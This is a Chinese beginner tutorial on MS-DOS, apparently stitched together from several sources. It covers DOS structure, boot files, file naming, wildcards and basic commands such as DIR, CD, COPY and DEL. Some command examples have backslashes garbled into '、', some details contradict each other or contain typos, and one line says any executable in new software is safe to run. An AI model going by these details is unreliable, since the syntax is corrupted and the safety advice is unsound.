黄岛生孩子去哪里:1 DOS系统

来源:百度文库 编辑:九乡新闻网 时间:2024/03/19 19:01:57

DOS系统

一、基础知识

1、DOS的概况

DOS(Disk Operating System)是一个使用得十分广泛的磁盘操作系统,Win9x/ME系统都是以它为基础。

常见的DOS有两种:IBM公司的PC-DOS和微软公司的MS-DOS,它们的功能、命令用途格式都相同,我们常用的是MS-DOS。

自从DOS在1981年问世以来,版本就不断更新,从最初的DOS1.0升级到了最新的DOS8.0(Win ME系统),纯DOS 的最高版本为DOS6.22,这以后的新版本DOS都是由Win系统所提供的,并不单独存在。下面的讲解所使用的DOS为Win98 4.10.2222A的DOS7.0系统。

  DOS的命令分为内部命令和外部命令,内部命令是随command.com装入内存的,而外部命令是一条一条单独的可执行文件。

  内部命令都集中在根目录下的command.com文件里,电脑每次启动时都会将这个文件读入内存,也就是说在电脑运行时,这些内部命令都驻留在内存中,用dir是看不到这些内部命令的。而外部命令都是以一个个独立的文件存放在磁盘上的,它们都是以com和exe为后缀的文件,它们并不常驻内存,只有在电脑需要时,才会被调入内存。

2、DOS的历史-实例手册

    DOS是Diskette Operating System的缩写,意思是磁盘操作系统,主要有MS-DOS,PC-DOS,Novell-DOS等几种版本,但以微软公司的MS-DOS流行最广,影响最大。它与Win最大的不同在于它是字符式操作系统,所有操作通过命令行来执行。MS-DOS发展,从早期1981年不支持硬盘分层目录的DOS1.0,到当时广泛流行的DOS3.3,再到非常成熟支持CD-ROM的DOS6.22,以及后来隐藏到Win9X下的DOS7.X,一共经历了20年,至今仍然活跃在PC舞台上,扮演着重要的角色。

3、基本结构:

DOS由6个部分组成,其中有一很小很特殊的 引导程序

基本输入/输出系统:ROMBIOS(basic Input-output system)是系统的最底层,直接与硬件设备打交道的一层。以硬件形式存在。

引导程序:BOOT RECORD 是为读出和启动4操作系统各主要部分的最小数量的程序。当冷(热)启动时ROMBIOS初始引导程序把软盘(硬)第一个记录读入存储器的特定位置,刚读入的引导程序得到控制权,并检查目录表以确定两个文件。

输入/输出接口模块 IO.SYS  是DOS与ROM-BIOS的接口模块,它与ROM-BIOS共同输入/输出工作统称设备管理,其主要任务:1测定系统中设备状态,2管理外围设备,当新增输入/输出设备时,其驱动程序即加载在IO.SYS中。3使磁盘系统复位。4设置低序号的中断向量(0-1F) 5给引入内存的MSDOS.SYS重新定位。

文件管理程序 MSDOS.SYS  是心脏部分,提供系统与用户的高级接口。主要完成磁盘空间分配,提供服务预置一些信息。建立必要的数据结构,提供磁盘空间分配功能。

命令处理程序 COMMAND.COM 是直接与用户打交道,任务是接收用户输入的命令,进行分析和解释,并调用相应程序来完成要做的工作。

每次启动DOS后,1.引导记录 2.IO.SYS 3.MSDOS.SYS 4.COMMAND.COM程序模块便装入内存,在末退出DOS状态前一直驻留在内存里。

4、DOS的组成-高手之路

DOS分为核心启动程序和命令程序两个部分。

DOS的核心启动程序有Boot系统引导程序、IO.SYS、MSDOS.SYS和COMMAND.COM。它们是构成DOS系统最基础的几个部分,有了它们系统就可以启动。但光有启动程序还不行,DOS作为一个字符型的操作系统,一般的操作都是通过命令来完成。DOS命令分为内部命令和外部命令。内部命令是一些常用而所占空间不大的命令程序,如dir、cd等,它们存在于COMMAND.COM文件中,会在系统启动时加载到内存中,以方便调用。而其它的一些外部命令则以单独的可执行文件存在,在使用时才被调入内存。

(小知识:可执行的程序文件有*.COM和*.EXE两种,一般来讲,*.EXE文件为软件执行程序,而*.COM文件则为命令程序)

5、文件组织

文件是一组相关信息的集合。可是程序(程序文件),数据(数据文件)。

文件名:由1-8个字符组成。

扩展名:由 1-3个字符组成与文件名之间用“.”分开.

文件标识:由四部分组成,驱动器号、路径、文件名、扩展名。

分类:在扩展名部分规定一些特定的类型符。

磁盘文件:EXE、COM、BAT—可执行文件,PRG—程序文件,SYS—系统文件。

设备文件:CON显示器或控制台键盘,AUX—(COM1:)串行输入/输出设备,PRN—并行打印机,NUL—虚拟设备(不产生输入/输出)。

通配符:用“?”替代所在位置的一个字符,用“*”替代所在位置的一个字符串

文件属性:按文件的存取方式及功能分为:隐含文件(H)、系统文件(S)、只读文件(R)、归档文件(A)、目录文件(D)。

执行文件的句法:[命令文件标识]、命令或程序字符、[参数]、[源文件标识]、[目标文件标识、参数]。即[D0:]命令字[/参数]  D1: D2:[选项]。

6、DOS的特点- dos教程 

在DOS环境下,开机后,我们面对的不是桌面和图标,而是这样的电脑屏幕:这个C:\>叫做提示符,这个闪动的横线叫做光标。这样就表示电脑已经准备好,在等待我们给它下命令了。我们现在所需要做的,就是对电脑发出命令,给电脑什么命令,电脑就会做什么。

比如,想看现在几点钟了,就可以输入时间命令,敲入time四个字母,它在英文中是“时间”的意思,再敲回车键加以确认,这时屏幕上就显示出当前时间。

 

  再敲回车键,瞧!又出现提示符了,就可以输入下一条命令了。

如果想看日期,输入date,然后敲回车键确认。

  这时屏幕上显示出当前日期。再敲回车键就回到提示符下。

DOS中是通过输入英文命令加回车键这种方式来执行程序的。只能通过键盘输入字符来指挥电脑工作,电脑完成一个命令后,出现下一个提示符,我们就又可以给电脑下命令了。在DOS下电脑一次只能做一件事,做完以后才能开始下一件事;所以人们把DOS称为单任务的操作系统,而把 Win称为多任务的操作系统。

7、DOS的系统提示符-高手之路

DOS启动后,会显示"C:>"以及一个闪动的光标,这及是DOS的系统提示符,它表示了当前所在的盘符和目录,我们可以输入"[盘符] :"来进行转换,如"A:"、"E:"。这里要注意输入的盘符一定要是存在的。

(小知识:盘符从A到Z,通常A、B盘为软驱,硬盘的盘符从C开始,而光驱的盘符为最后一个)

8、文件的分类- dos教程  

用dir命令来查看磁盘上文件时,你会发现文件后缀(即文件扩展名)有很多种,它们当中大部分都是有一定含义的。

  其中凡后缀为exe、com或bat的文件都是可以直接执行的。这些以exe为后缀的文件叫可执行文件;以com为后缀的文件叫命令文件;以bat为后缀的文件叫批处理文件。如果我们要执行这些文件,只需在提示符下敲入文件基本名然后回车即可,不需输入文件后缀。

比如第一行的这个文件叫format.com,其后缀名为com,如果我们要执行它,只需在提示符下敲入文件基本名然后回车即可,不需输入后缀名。

又比如,第二行的这个文件mem.exe,其后缀是exe,也是一个可以执行的文件,它的功能是查看电脑目前内存的占用情况。在提示符下敲mem,然后回车。

  这里显示了电脑总共有多少内存,现在使用了多少,还剩多少,以及使用了多少基本内存,还剩下多少基本内存等情况,这些在下面将有详细解释。

当我们在c盘的根目录下查看文件时,往往会看到这个 autoexec.bat 文件,其后缀是bat,说明它是一个批处理文件,也是可以直接执行的。

  所谓批处理,就是一下可以执行很多条命令,当我们想让电脑完成一系列任务时,可以一个一个命令的执行,也可以将这些命令都装入一个文件中,只要敲一下这个文件名,电脑就会将这一批命令一次执行完毕。在实际操作中,我们经常会建立一些批处理文件,来完成许多有着固定步骤的烦琐工作。

现在,你已经知道电脑中哪些文件对你直接有效了,它们就是以com、exe或bat为后缀的文件。

  所以,当你拿到一个新软件时,首先就可以用dir命令查看有没有以它们为后缀的文件,一般情况下,你都能找到一个或几个这样的文件,你大可放心地去执行它们,其中必然有一个是对的,错了也没关系,一般不会有太大的影响。

9、文件与目录- dos教程  

  在DOS中,文件与目录是最重要的概念,这和95一样,不同的是,“目录”在95中叫做“文件夹”。

如果我们想查看电脑中的文件,可以输入dir命令,然后回车。下面是我电脑屏幕上显示的结果。

如图所示,后面带有<dir>的是目录,没有的则是文件,这些目录里都分门别类地存放着许多不同用途的文件。你看,第一排是DOS目录,它里面有许多DOS命令文件和一些辅助信息文件。第二排是WINDOWS目录,它里面包含着许多有关WIN程序的文件。

 

  在DOS中,文件名的规则是8.3形式,即一个文件名由文件基本名和文件扩展名组成,中间用点“.”隔开,文件基本名由不超过8个英文字母或数字组成,文件扩展名由不超过三个英文字母或数字组成,文件基本名必须有,扩展名可以没有。

  看上图,第一列的就是“文件基本名”,第二列的是“文件扩展名”。注意:在用dir命令显示文件列表时,文件基本名和扩展名之间并无“.”分隔符,但你在输入完整的文件名时必须输入它。

  第三列显示的是文件的大小,表示它占用了多少存储空间,也就是文件包含信息的多少,包含的信息越多,文件就越大;

  第四列表示的是文件建立的日期或者是最后被改动的日期,每个文件都有对应的生成时间,就象每个人都有自己的生日一样,文件的生成时间就是文件形成的时候。时间采用通常的表示方法,由年、月、日组成。

  最后一列表示文件生成的具体时间,最后的一个字母a表示上午、p表示下午。

  我们再来看看倒数一二行,这些是什么意思呢。“ 10 file(s) ”是要告诉你这个目录内有 “ 10 ”个文件,这些文件加起来一共有“ 64,692 bytes”大,在这种计算中,每个子目录也算是一个文件,但它的大小算零。最后一行的是告诉你当前你的工作磁盘上还剩下“ 215,735,513 bytes”大小可用的磁盘空间。

  如果我们要看看DOS目录里的文件,那么我们可以敲dir dos回车,也就是查看DOS目录的意思,如果敲dir windows回车就是查看windows目录下的文件的意思。 大家可以试着练习练习dir命令,观察文件夹下面的东西。

10、文件及目录-高手之路

电脑中的数据主要都是以文件形式存储的,也可以说DOS以文件的形式来管理数据。文件是相关数据的集合,若干数据聚集在一起组成一个文件。每个文件都有文件名,文件名由主文件名和后缀名两部分组成,中间有小圆点隔开。DOS6.22及其以前版本最多仅支持8个字符的主文件名和3个字符的后缀名,而从Windows 95的DOS7.0开始就可支持128个字符的主文件名和后缀名。字母、汉字、数字和一些特殊符号如"!、@、#"都可以作为文件名,但不能有"/、\、|、:、"等符号。

通常我们可以通过文件的后缀名看出该文件的类型,比如:

后缀名 文件类型

EXE     可执行程序文件

COM     可执行命令文件

BAT     可执行批处理文件

TXT     文本文件

DAT     数据文件

BAK     备份文件

为了方便用户进行操作,DOS还允许使用通配符。所谓通配符,就是"?"与"*"这两个符号,它们可以用来代替文件名中的某些字符。"?"代表一个合法的字符或空字符,比如"AB?D.EXE"文件就可以表示"ABCD.EXE"、"ABDD.EXE"、"ABZD.EXE"等。而"*"则代表若干个字符,如"*.BAT"就代表当前目录下所有后缀名为"BAT"的文件。

DOS以目录树的形式管理磁盘,这里的目录就相当于Windows中的文件夹。和文件夹一样,目录也是一层一层的,构成一个树的形式。在一个盘符中最底层的目录为根目录,根目录下的目录都称为它的子目录,根目录用"\"表示,一个目录的上一层目录用".."表示。我们可以通过路径来查找某一个文件或目录,路径就如同地址一样,可以使用户方便、准确地进行查找。比如"C:\Windows\Command\deltree.exe"就是一个文件的路径。

在同一个目录下,不允许存在相同名称的文件或目录。

11、目录、子目录与盘符- dos教程  

在DOS中,有个当前目录的概念,就是提示符所显示的目录,现在的提示符是C:\,那么当前目录就是C盘的根目录,这个\(反斜杠)就表示根目录。

  如果要更改当前目录,那么可以用cd命令, 比如我们输入cd dos,就表示更换当前目录为dos目录,回车后, 你看,提示符变成了C:\DOS,这就表示当前目录变成了C盘的DOS目录了,当前目录有什么意义呢?

  在这里,我们输入dir试试,看,现在列出的文件已经不是刚才看见的了,这些都是DOS目录里的文件,这就说明,dir命令列出的,是当前目录中的内容。还有,就是在我们输入可执行文件名时,DOS会在当前目录中寻找该文件,如果没有该文件,DOS会提示错误信息。

那么目录是什么结构的呢?目录是树形结构的,你看,下面是一个目录结构的示意图,这个C:表示最上面的一层目录,叫做根目录,其它的目录都是根目录的子目录,如DOS,WINDOWS,TOOLS等,而DOS,WINDOWS目录自己也有子目录,象DOS下的TEMP目录,WINDOWS下的SYSTEM目录。

  我们用CD命令来改变当前目录,输入CD DOS,那么当前目录就变成了 DOS,有时我们把改变当前目录为一个子目录叫做进入该子目录,那么我们现在就是进入了DOS目录,再输入CD TEMP,那么我们又会进入TEMP目录了,如何退出TEMP目录呢? 只要键入CD ..,回车,我们就可以回到DOS目录了。在DOS中,这个两点就表示当前目录的上一层目录,一个点表示当前目录,有时,我们叫上一级目录为父目录。再输入CD ..,然后回车,我们就回到了C盘的根目录。

  进入一个目录的子目录并不需要用CD命令一层一层进入,可以用一行命令完成,比如要进入 WINDOWS目录下的SYSTEM子目录,只要输入CD WINDOWS\SYSTEM就可以了,也可以输入CD C:\WINDOWS\SYSTEM,如果要回到根目录,那么也不必多次输入CD ..来完成,可以直接输入CD \,\就表示根目录。

  在子目录中用dir命令列文件列表时,我们会发现,.和..都算作文件数目,但大小为零。

如果我们要更换当前目录到硬盘的其它分区该怎么办呢?当然不是使用CD,否则我就不用说了,这时应该输入盘符然后回车。比如要到D盘,那么就输入D:,然后回车,瞧,现在提示符就变成D:\>了。 再用dir命令,就是列出D盘的文件了。

  实际上,要完整地表达一个子目录应该是盘符加目录,比如C: \DOS\TEMP,那么完整地表达文件呢?就是盘符加目录加文件名,比如C:\DOS\TEMP\ME.TXT,C:\DOS\TEMP\就叫做ME.TXT的路径。

  刚才我们说过,输入可执行文件名时,DOS会在当前目录中寻找该文件,如果找不到,会提示错误的文件名,但是我们不是一定要把当前目录更换到文件所在的目录才能运行它的,可以在文件名前加上完整的路径就可以了,比如我们现在的当前目录是C:\DOS,我们要运行D:\TEST\PCT.EXE,那么我们可以直接输入D:\TEST\PCT.EXE回车,这样我们不改变当前目录就可以执行其它目录下的文件。

12、DOS系统的安装-实例手册

    1.如果安装了Windows9X,无需再安装DOS了,可采用Windows9X自带的DOS7.X

    2.如果安装了WindowsMe,不能开机进入DOS实模式,解决办法是安装WindowsMe的DOS实模式补丁

    3.如果只安装过Windows2000/XP,一般认为不能再装DOS了,实际上是有办法的,以Win2000为例,如果分区格式是FAT32,可以安装Windows97/98自带的DOS7.X,方法是:

    (1)复制DOS启动文件:在Win2000环境中把Win98启动盘的IO.SYS,MSDOS.SYS,COMMAND.COM等文件复制到C:\下。注意:如果在DOS下复制不要使用SYS命令,否则Win2000无法启动。

    (2)创建C:\Bootsect.dos:该文件是DOS启动所需的MBR主引导记录文件,如果在Win2000安装前安装过DOS/Win9X,该文件会自动生成不用创建;但是本例是Win2000安装前未安装过DOS,所以要手动创建了,创建方法有很多,这里推荐使用一个不到3KB 的小程序Bfhf,它可以备份/恢复MBR,MPBR和CMOS,生成方法是:把Bfhf.exe复制到C:\中,进入DOS,输入Bfhf回车,输入03(备份MBR)回车,输入Bootsect.dos回车,输入00(退出回车)

    (3)修改C:\BOOT.INI文件:去掉其所有属性编辑该文件在[operating systems] 下添加一行:C:\="MS-DOS",好了,重启电脑看看MS-DOS是不是可以与Win2000共存了?(WINXP的方法类似)

13、DOS的启动- dos教程 

  电脑刚启动时,要先从某个磁盘上将一些系统程序读入内存后才能正常工作,我们将这个磁盘叫做启动盘。

通常,我们用A盘或C盘作为启动盘,在特殊情况下,硬盘的其它盘符和少数电脑的光盘也可以作启动盘。制作启动盘需要使用sys命令。

  DOS系统启动时,要先从启动盘中读取两个系统文件IO.SYS、MSDOS.SYS,然后在启动盘的根目录下寻找并执行 CONFIG.SYS、COMMAND.COM、AUTOEXEC.BAT三个文件。其中IO.SYS、MSDOS.SYS和 COMMAND.COM这三个文件缺一不可,否则电脑将无法正常启动

  CONFIG.SYS和AUTOEXEC.BAT这两个文件是用来配置系统运行环境和自动执行一些命令,它们对电脑的运行性能以及许多设备的驱动起到了至关重要的作用,我们可以根据自己的需要对它们的内容进行修改,

  autoexec.bat叫做自动批处理文件,它是批处理文件的一种,因为DOS启动时会自动运行它,所以叫做自动批处理文件。你可以把自己每次启动电脑时都要运行的程序放在里面。

如果电脑在根目录下找不到这两个文件,也是可以运行的,但有许多复杂的软件和设备将无法正常工作。比如光驱、声卡以及Windows程序等。所以,初学者应注意不要将上面的几个文件删除,否则,电脑将不能正常工作。

14、DOS的启动-高手之路

如果你安装了WIN98,在电脑启动时按住Ctrl不放,出现启动选择菜单,选择5"Command Prompt Only"即可进入DOS方式。

目前我们常用的操作系统有windows 9x/Me,NT,2000等,都是可视化的界面。在这些系统之前的人们使用的操作系统是DOS系统。DOS系统目前已经没有什么人使用了,但是dos命令却依然存在于我们使用的windows系统之中。大部分的DOS命令都已经在Windows里变成了可视化的界面,但是有一些高级的DOS命令还是要在DOS环境下来执行。所以学习命令行对于我们熟练操作Windows系统是很有必要的。

不同的操作系统要用不同的命令进入命令行界面。

在Win9x/Me的开始菜单中的运行程序中键入"command"命令,可进入命令行界面。

在Win2000/NT的开始菜单中的运行程序中键quot;cmd"命令,可进入命令行界面。

下面我用讲到的DOS命令都可以在Windows Me操作系统中执行。

那么,我们如何进入命令行窗口?开始——〉运行——〉键入command命令——〉回车进入了命令行操作界面(DOS窗口),在DOS窗口中只能用键盘来操作。

在DOS中通过输入英文命令加回车键这种方式来执行程序。

15、DOS系统的引导

开机或重启,即可自动引导也可用功能键控制引导方式进行引导

自动引导过程

1.加电自检

2.读入CONFIG.SYS

3.读入AUTOEXEC.BAT

4.读入DOS操作系统

用功能键控制引导方式引导

开机后显NOW SEAAREING MS-DOS时:

按F5-可跳过部分或全部CONFIG.SYS和AUTOEXEC.BAT文件

按F8-可按须要用(Y/N)选取CONFIG.SYS和AUTOEXEC.BAT文件中加载的项.

注:在CONFIG.SYS文件中加入SWITOHES=/N 即可禁用F5,F8功能键.

二、DOS内部命令

DIR—显示磁盘目录命令

1.功能:显示磁盘目录的内容。 

2.类型:内部命令 

3.格式:DIR [盘符:][路径][文件名] [参数] 

4.使用说明:

/W:宽屏显示,一排显示5个文件名,而不会显示修改时间,文件大小等信息;

/P:分页显示,当屏幕无法将信息完成显示时,可使用其进行分页显示;屏幕上会分面一次显示23行的文件信息,然后暂停,并提示;Press

any key to continue 

/A:显示具有特殊属性的文件,这里的属性有"H"隐藏、"R"只读等,我们可以输入"DIR *.* /AH"来显示当前目录下所有具有隐藏属性的文件;

/S:显示当前目录及其子目录下所有的文件,通过这个参数,我们可以进行某个文件或目录的查找,比如我们可以在"C:>"后输入"DIR *.DAT /S"来查找C盘中所有后缀名为DAT的文件。

几种参数可以同时使用,例如"DIR *.COM /W /P /S"。

dir是英文单词directory(目录)的缩写,主要用来显示一个目录下的文件和子目录。

  在提示符后输入dir,再按Enter回车键,无所谓大小写,如果输入错误了,可以按Backspace键来修正。如果你的当前目录下有很多文件或子目录,会发现内容还没有看清楚,就滚过去了?

别急,dir命令是可以带参数的,键入dir/p,看,这先计算机在显示完一屏内容后,停了下来。

  看到最后的一行英文没有,这行英文的意思是:如果你看完了这一屏,随便敲一个键就可以看下一屏。那就敲个键试试,随便哪个都行。好,是不是换了一屏怎么样,是不是很方便呢?

  如果你觉得用dir/p分屏显示还是太麻烦,你用这个命令试试,从键盘上输入dir/w试试看。这回所有文件在一屏内都显示出来了,但好象少了点什么,原来文件的大小和生成时间都被省略了。如果你只想知道目录内有什么文件和子目录,而不关心文件的生成时间和大小的话,那么使用dir/w,以短格式方式显示是不错的选择。   

dir命令不但可以查看目录中有什么文件,还可以查看目录中某个文件的信息,例如输入dir abc,就是查看当前目录中文件abc的信息,包括它的大小和生成时间。

  如果执行dir abc后,显示是“File not found.”则说明当前目录中没有abc这个文件,所以还可以用dir命令来查找文件。比如用dir命令查找当前目录中是否有win.com这个文件,只要输入dir win.com。

dir命令不但可以查找和显示一个特定的文件,还可以显示一类文件。例如输入dir *.bat,显示的就是所有扩展名是bat的文件。看下图

  那这里的*是什么意思呢?在DOS命令中,*在文件名中出现是代表任意字符的意思。例如,A.*就代表了文件基本名是A,扩展名是任意的所有文件。那么dir a.* 就是把文件基本名是a的所有文件都显示出来。如果用dir A*.*,将会出现什么结果呢?结果是显示了文件基本名以A开头的所有文件。再深入一点,dir *.*是什么意思呢?在这里文件基本名和扩展名都是任意的,那就等于代表了所有文件,所以这和只输入dir的作用是相同的。    

  因为*可以代替任意字符,所以我们称之为通配符。其实通配符不只*一个,现在我们再来看看另一种通配符----?。

  通配符和*的区别是什么呢?*可以代替文件名中的多个字符,而只能代替文件名中的一个字符。比如a*.*是代表所有文件基本名以a开头的文件,而a?.*是代表文件基本名只有两个字符,并且第一个字符是a的所有文件,同理a??.*是代表文件基本名只有三个字符,并且第一个字符是a的所有文件。

  两者还有一个区别,在文件名中出现*后,其后的所有字符都不起作用,比如A*.*和a*b.*是没有任何区别的,但A*.*和A*.com就不一样了,因为中间隔了一个分隔符,*的作用不能超过分隔符。

  在作用不超过分隔符这一点 上,和*是一致的,但是,无论在文件基本名或扩展名中出现在后,后面的字符仍然起作用。例如,a?.bat和a?b.bat是不同的意思,前者代表了文件扩展名是bat,而文件基本名是两个字符,且第一个字符是a的所有文件,后者代表了文件扩展名是bat,而文件基本名是三个字符,且第一个字符是a,第三个字符是b的所有文件。

  最后再讲一点吧,都差点忘了这个小问题了。在使用通配符时,文件基本名和扩展名中最多只能各出现一个*,而可以在不超过文件名和扩展名长度的前提下出现多个。 例如:这三个文件名a???.b??、 a????b?.?c?及a?b??c.??d 都是可以的。   

  最后来个总结吧,dir命令最大的用途就是让你了解磁盘到底都有些什么,还剩下多少存储空间。最后还有一个小窍门,如果你想知道A盘上都有什么,你不必先输入a:,变换当前驱动器为A盘后,再敲dir,你可以直接键入dir a:。不信试试看,千万别忘了插入软盘哟!

MD—建立子目录

1.功能:创建新的子目录 

2.类型:内部命令 

3.格式:MD[盘符:][路径名]〈子目录名〉 

4.使用说明: 

(1)“盘符”:指定要建立子目录的磁盘驱动器字母,若省略,则为当前驱动器; 

(2)“路径名”:要建立的子目录的上级目录名,若缺省则建在当前目录下。 

例:(1)在C盘的根目录下创建名为FOX的子目录;(2)在FOX子目录下再创建USER子目录。 

C:、>MD FOX (在当前驱动器C盘下创建子目录FOX) 

C:、>MD FOX 、USER (在FOX 子目录下再创建USER子目录)

可以输入md xbs,建立目录。这时用dir命令看一看,发现根目录下多了一个目录XBS。

你不妨练习一下,建立一个名字叫xyz的目录,再输入dir,是不是可以看到xyz目录啦,如果你看到了,你就成功了(呵呵,这课也就完成一半了)。现在让我们到这个目录中去,键入cd xyz,注意,提示符是不是变了。好,输入dir命令。很奇怪是吧?我们刚刚建立了这个目录,按理说,这个目录中应该什么都没有的。其实,不管你建立什么目录,这个. 和 .. 都会在目录中出现,因为. 代表此目录本身,.. 代表此目录的上一层目录。显然,一个目录既然已经存在了,就不可能没有本身,也不可能没有上一层目录。(..你使用过的,记得吗?就是cd ..,用来返回上一层目录)。

  再练习一次,在xyz目录下建立一个目录:abc,(正确方法是输入md abc)用 dir命令看一下,abc目录显示出来,就说明你已经成功学会建目录了。

RD—删除子目录命令 

1.功能:从指定的磁盘删除了目录。 

2.类型:内部命令 

3.格式:RD[盘符:][路径名][子目录名] 

4.使用说明: 

(1)子目录在删除前必须是空的,也就是说需要先进入该子目录,使用DEL(删除文件的命令)将其子目录下的文件删空,然后再退回到上一级目录,用RD命令删除该了目录本身; 

(2)不能删除根目录和当前目录。 

例:要求把C盘FOX子目录下的USER子目录删除,操作如下: 

第一步:先将USER子目录下的文件删空; 

C、>DEL C:、FOX、USER、*。* 

第二步,删除USER子目录。 

C、>RD C:、FOX、USER 

rd命令删除目录。比如想把abc目录删除,输入rd abc就可以了。要删除当前目录下的某个子目录,输入rd空格加上子目录名就可以完成任务。 不过使用RD命令可得注意几点问题(要不然你删一辈子也别想删除某些目录),

如果想删除你现在所在的xyz目录,输入cd ..命令退回到上一层目录,再输入rd xyz将xyz目录删除。

CD—改变当前目录 

1.功能:改变当前目录,进入指定目录 

2.类型:内部命令 

3.格式:CD[盘符:][路径名][子目录名] 

4.使用说明: 

(1)如果省略路径和子目录名则显示当前目录; 

(2)如采用“CD、”格式,则退回到根目录; 

(3)如采用“CD.。”格式则退回到上一级目录。 

例:(1)进入到USER子目录;(2)从USER子目录退回到子目录;(3)返回到根目录。 

C:、>CD FOX 、USER(进入FOX子目录下的USER子目录) 

C:、FOX、USER>CD.。 (退回上一级根目录) 

C:、FOX>CD、 (返回到根目录) 

C:、> 

其中"CD\"为回到根目录,"CD.."为回到上一层目录。

  cd是英文change directory(改变目录)的缩写,也是最常用的命令之一。顾名思义,如果想要进入一个目录,显然该采用这个命令了。

在讲cd命令之前,我们先来谈谈提示符是什么意思。现在的提示符是c:\>

 

  这个c:说明现在的工作盘是c盘,即当前盘是硬盘。这个紧接着c:后面的\告诉我们,当前的工作目录是根目录。这个>的作用只是为了把工作目录和我们要输入的命令分隔开来,没有其它的意义。这样,我们就可以从提示符上看出当前的工作盘和工作目录是什么,你如果清楚了这一点,那么学习cd命令就变得轻松自如了。

好,现在我们想进入dos目录,该怎么办呢?对了,直接输入cd dos就行了。

  你注意,提示符变了,变成 c:\dos>了。这就告诉我们,我们当前的工作目录是c盘根目录下的dos子目录。 如果想退回上一层目录,就键入cd ..,看提示符又变回来了。是不是很简单呢?进入子目录就输入cd+空格+子目录名,想返回上一层目录,就输入cd ..(两点)。     

  现在你来练习一下,要进入windows子目录,怎么办?当然是输入cd windows。 在windows目录下,还有一个子目录:system,再进去看看,输入cd system,好,暂停一下,这时我想要返回到根目录,这该怎么办?用cd ..吗?那当然可以,不过得用两次。我们有更好的办法,其实只需键入cd\三个字符可以一下子就回到根目录,自己试试吧。

  cd命令的用途就是让我们可以到任何一个目录去。我们把不同功能的文件分别安排在不同的目录内,是为了管理方便,可是当我们要使用某个文件时,我们就得到该文件所在的目录中去。比如说,要使用wps,就要到wps所在的目录;要用windows,就要到windows所在的目录。事实上,你学会了cd命令,你就可以到达磁盘中的任何一个目录了。不过有一点提醒你注意,如果想要到非当前磁盘的某个目录时,要先输入盘符,回车后,等当前盘变为另一个磁盘时,你才可以使用cd命令到达你想要去的目录。

 

COPY文件复制命令 

1.功能:拷贝一个或多个文件到指定盘上。 

2.类型:内部命令 

3.格式:COPY [源盘][路径]〈源文件名〉[目标盘][路径][目标文件名] 

4.使用说明: 

(1)COPY是文件对文件的方式复制数据,复制前目标盘必须已经格式化; 

(2)复制过程中,目标盘上相同文件名称的旧文件会被源文件取代; 

(3)复制文件时,必须先确定目标般有足够的空间,否则会出现;insufficient的错误信息,提示磁盘空间不够; 

(4)文件名中允许使用通配举“*”“?”,可同时复制多个文件; 

(5)COPY命令中源文件名必须指出,不可以省略。 

(6)复制时,目标文件名可以与源文件名相同,称作“同名拷贝”此时目标文件名可以省略; 

(7)复制时,目标文件名也可以与源文件名不相同,称作“异名拷贝”,此时,目标文件名不能省略; 

(8)复制时,还可以将几个文件合并为一个文件,称为“合并拷贝”,格式如下:COPY;[源盘][路径]〈源文件名1〉〈源文件名2〉…[目标盘][路径]〈目标文件名〉; 

(9)利用COPY命令,还可以从键盘上输入数据建立文件,格式如下:COPY CON [盘符:][路径]〈文件名〉; 

(10)注意:COPY命令的使用格式,源文件名与目标文件名之间必须有空格!

注意:使用该命令进行文件拷贝时,目的目录一定要存在。

copy在英文中是复制的意思,所谓复制就是原来的文件并没有任何改变,重新产生了一个内容和原来文件没有任何差别的文件。下面是copy命令的格式及及该注意的一些问题:

现在让我们来看一个例子,根目录下有一个文件叫做 autoexec.bat,如果我们想将它复制一份叫做autoexec.old,就可以输入copy autoexec.bat autoexec.old 键入dir,除原有的autoexec.bat文件外,出现了一个autoexec.old文件,而且这两个文件的大小都一样。

  如果我们想把dos目录下的edit.com复制到当前目录,就从键盘上敲入   copy c:\dos\edit.com(注意,省略了目的目录名和文件名),源文件名是C盘根目录下dos目录中的edit.com文件。在这里指出了所在的驱动器及目录,而目的文件被省略了,这表示将文件复制到当前目录中,名字不变,也是edit.com。

  如果你想把文件复制到另一个驱动器,比如说复制到A盘上,可以输入   copy edit.com a:(得记住往A驱动器里插磁盘哦)。

  copy命令也可以使用通配符,例如要复制A盘上以K开头的所有文件,可以输入copy a:k*.*,如果要复制C盘根目录下所有扩展名是bat的文件到zht目录里,可以输入copy c:\*.bat c:\zht。

  复制文件的主要目的有两条,一是为重要的文件作一个备份,以免被删除后追悔莫及;二是在不同计算机之间交换信息,你可以将你的工作成果复制到软盘上,交给你的上司、同事,也可以把它带回家里。最后要提一句的是,拷贝文件和复制文件是没有任何区别的,拷贝是copy的音译。

 

DEL——删除文件命令 

1.功能:删除指定的文件。 

2.类型:内部命令 

3.格式:DEL[盘符:][路径]〈文件名〉[/P] 

4.使用说明: 

(1)选用/P参数,系统在删除前询问是否真要删除该文件,若不使用这个参数,则自动删除; 

(2)该命令不能删除属性为隐含或只读的文件;

(3)在文件名称中可以使用通配符;

(4)若要删除磁盘上的所有文件(DEL*·*或DEL·),则会提示:(Arey ou sure?)(你确定吗?)若回答Y,则进行删除,回答N,则取消此次删除作业。

  del即delete(删除)的缩写,它的作用就是删除文件。如果我要删除a.bat文件,输入del a.bat就可以完成任务。

  del命令的格式就是如此简单:del 文件名。 要删除当前目录中的某个文件,输入del空格再加上文件名就可以了。现在你可以试着试删除不要的废文件了。

要删除一类文件,可以使用通配符。例如del *.tmp,就是把所有扩展名是tmp的文件都删除。

你也可以删除当前目录中的所有文件,命令很简单:del *.*或del .。

这时计算机会告诉你此目录的所有文件都将被删除,同时问你是否继续,

  如果你不想删除,输入n(no),如果你确实要删除,输入y(yes)。

  del *.*或del .一般用于在删除子目录之前,先删除目录中的所有文件。(记住,初学者慎用)

  del命令还可以删除非当前目录中的文件,例如del a:\bmp\sea.bmp,就是把A盘上bmp目录下的sea.bmp文件删除。你可以试着删除C盘temp目录内的所有文件,正确方法是输入del c:\temp\. 或 del c:\temp\*.*,然后再输入y。

  删除无用的文件,可以使磁盘的可利用空间增大。但在删除文件之前,你最好知道此文件的用途,确定没有用之后,才可以删除,否则追悔莫及。尤其使用del .和del *.*时要更加注意,因为一个目录中的文件都将被删除。

REN(rename)——文件改名命令 

1.功能:更改文件名称 

2.类型:内部命令 

3.格式:REN[盘符:][路径]〈旧文件名〉〈新文件名〉 

4.使用说明: 

(1)新文件名前不可以加上盘符和路径,因为该命令只能对同一盘上的文件更换文件名; 

(2)允许使用通配符更改一组文件名或扩展名。 

例:把abc.txt改成bne.dat,就可以输入ren abc.txt bne.dat。

